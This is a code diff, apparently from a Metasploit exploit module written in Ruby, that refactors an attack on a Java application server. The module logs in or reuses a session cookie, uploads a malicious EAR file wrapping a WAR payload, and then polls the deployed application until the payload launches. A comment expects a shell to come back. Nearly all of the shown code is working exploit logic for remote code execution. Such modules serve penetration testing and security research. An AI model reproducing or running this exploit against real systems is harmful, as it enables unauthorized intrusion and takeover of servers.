@@ -67,8 +67,6 @@ def initialize(info = {})
67
67
register_options (
68
68
[
69
69
Opt ::RPORT ( 8080 ) ,
70
- OptInt . new ( 'SLEEP' ,
71
- [ true , 'Seconds to sleep while we wait for EAR deployment' , 15 ] ) ,
72
70
OptString . new ( 'JSESSIONID' ,
73
71
[ false , 'Pre-authenticated JSESSIONID cookie (non-IT360 targets)' ] ) ,
74
72
OptString . new ( 'IAMAGENTTICKET' ,
@@ -378,7 +376,7 @@ def exploit
378
376
cookie = login
379
377
end
380
378
381
- if cookie == nil
379
+ if cookie . nil?
382
380
fail_with ( Exploit ::Failure ::Unknown , "#{ peer } - Failed to authenticate" )
383
381
end
384
382
@@ -388,7 +386,11 @@ def exploit
388
386
389
387
# ... and then we create an EAR file that will contain it.
390
388
ear_app_base = rand_text_alphanumeric ( 4 + rand ( 32 - 4 ) )
391
- app_xml = %Q{<?xml version="1.0" encoding="UTF-8"?><application><display-name>#{ rand_text_alphanumeric ( 4 + rand ( 32 - 4 ) ) } </display-name><module><web><web-uri>#{ war_app_base + ".war" } </web-uri><context-root>/#{ ear_app_base } </context-root></web></module></application>}
389
+ app_xml = "<?xml version=\" 1.0\" encoding=\" UTF-8\" ?>"
390
+ app_xml << '<application>'
391
+ app_xml << "<display-name>#{ rand_text_alphanumeric ( 4 + rand ( 32 - 4 ) ) } </display-name>"
392
+ app_xml << "<module><web><web-uri>#{ war_app_base + ".war" } </web-uri>"
393
+ app_xml << "<context-root>/#{ ear_app_base } </context-root></web></module></application>"
392
394
393
395
# Zipping with CM_STORE to avoid errors while decompressing the zip
394
396
# in the Java vulnerable application
@@ -412,19 +414,24 @@ def exploit
412
414
print_status ( "#{ peer } - Uploading EAR file..." )
413
415
res = send_multipart_request ( cookie , ear_file_name , ear_file . pack )
414
416
if res && res . code == 200
415
- print_status ( "#{ peer } - Upload appears to have been successful, waiting " + datastore [ 'SLEEP' ] . to_s +
416
- ' seconds for deployment' )
417
- sleep ( datastore [ 'SLEEP' ] )
417
+ print_status ( "#{ peer } - Upload appears to have been successful" )
418
418
else
419
419
fail_with ( Exploit ::Failure ::Unknown , "#{ peer } - EAR upload failed" )
420
420
end
421
421
422
- res = send_request_cgi ( {
423
- 'uri' => normalize_uri ( ear_app_base , war_app_base , Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 ) ) ,
424
- 'method' => 'GET'
425
- } )
426
- if res && res . code != 200
427
- fail_with ( Exploit ::Failure ::Unknown , "#{ peer } - Exploit failed, received HTTP " + res . code . to_s )
422
+ 10 . times do
423
+ select ( nil , nil , nil , 2 )
424
+
425
+ # Now make a request to trigger the newly deployed war
426
+ print_status ( "#{ peer } - Attempting to launch payload in deployed WAR..." )
427
+ res = send_request_cgi ( {
428
+ 'uri' => normalize_uri ( ear_app_base , war_app_base , Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 ) ) ,
429
+ 'method' => 'GET'
430
+ } )
431
+ # Failure. The request timed out or the server went away.
432
+ break if res . nil?
433
+ # Success! Triggered the payload, should have a shell incoming
434
+ break if res . code == 200
428
435
end
429
436
end
430
437
end
0 commit comments